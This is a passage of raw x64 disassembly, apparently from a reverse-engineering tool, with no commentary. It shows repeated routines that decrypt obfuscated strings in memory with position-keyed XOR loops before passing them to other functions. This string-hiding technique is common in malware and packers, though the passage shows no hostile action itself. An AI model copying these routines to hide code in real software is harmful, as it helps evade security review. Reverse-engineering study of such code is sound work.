mov r12, rax
lea rdx, [rbp + 0x5af8]
lea rcx, [rbp - 0x1f]
call fcn.14002efe0
mov r10, rax
cmp word [rax + 0x2a], 0
je 0x140020403
mov r8d, esi
cmp r14d, 2
jl 0x1400203bf
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x1400203d0
mov rdx, r10
lea rcx, [rbp + 0x2138]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2158]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x2178]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x1e]
call fcn.14002efb0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400206af
mov r8d, esi
cmp r14d, 2
jl 0x14002066d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140020680
mov rdx, r10
lea rcx, [rbp + 0x2198]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x21b8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2178]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x21d8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5590]
lea rcx, [rbp - 0x1d]
call fcn.14002ef80
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140020850
mov r8d, esi
cmp r14d, 2
jl 0x14002081b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020730
cmp r8d, 0x21
jge 0x140020850
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140020821
mov rdx, r10
lea rcx, [rbp + 0x21f8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x21d8]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x59c8]
lea rcx, [rbp - 0x1c]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x1400209d0
mov r8d, esi
cmp r14d, 2
jl 0x14002099b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400208b0
cmp r8d, 0x27
jge 0x1400209d0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400209a1
mov rdx, r10
lea rcx, [rbp + 0x2238]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2258]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2218]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2258]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2238]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x21f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x21b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2198]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2158]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2138]
call fcn.140007bc0
lea rax, [rbp + 0x598]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x598]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x6048]
lea rcx, [rbp - 0x1b]
call fcn.14002f070
mov r10, rax
cmp word [rax + 0x36], 0
je 0x140020c03
mov r8d, esi
cmp r14d, 2
jl 0x140020bc3
mov rcx, rax
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x140020ad0
cmp r8d, 0x1c
jge 0x140020c03
movsxd rax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x140020bd0
mov rdx, r10
lea rcx, [rbp + 0x2278]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2298]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x22b8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0xaf8]
lea rcx, [rbp - 0x1a]
call fcn.14002f040
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140020da0
mov r8d, esi
cmp r14d, 2
jl 0x140020d6b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140020c80
cmp r8d, 0x1c
jge 0x140020da0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140020d71
mov rdx, r10
lea rcx, [rbp + 0x22d8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x22f8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x22b8]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x2318]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5568]
lea rcx, [rbp - 0x19]
call fcn.14002f010
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140020f40
mov r8d, esi
cmp r14d, 2
jl 0x140020f0b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020e20
cmp r8d, 0x21
jge 0x140020f40
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140020f11
mov rdx, r10
lea rcx, [rbp + 0x2338]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2318]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x59a0]
lea rcx, [rbp - 0x18]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x1400210c0
mov r8d, esi
cmp r14d, 2
jl 0x14002108b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020fa0
cmp r8d, 0x27
jge 0x1400210c0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140021091
mov rdx, r10
lea rcx, [rbp + 0x2378]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2398]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2358]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2398]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2378]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2338]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x22f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x22d8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2298]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2278]
call fcn.140007bc0
lea rax, [rbp + 0x5b0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x5b0]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5a98]
lea rcx, [rbp - 0x17]
call fcn.14002f110
mov r10, rax
cmp word [rax + 0x28], 0
je 0x140021403
mov r8d, esi
cmp r14d, 2
jl 0x1400213bf
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x1400213d0
mov rdx, r10
lea rcx, [rbp + 0x23b8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x23d8]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x23f8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x16]
call fcn.14002f0e0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x1400216af
mov r8d, esi
cmp r14d, 2
jl 0x14002166d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
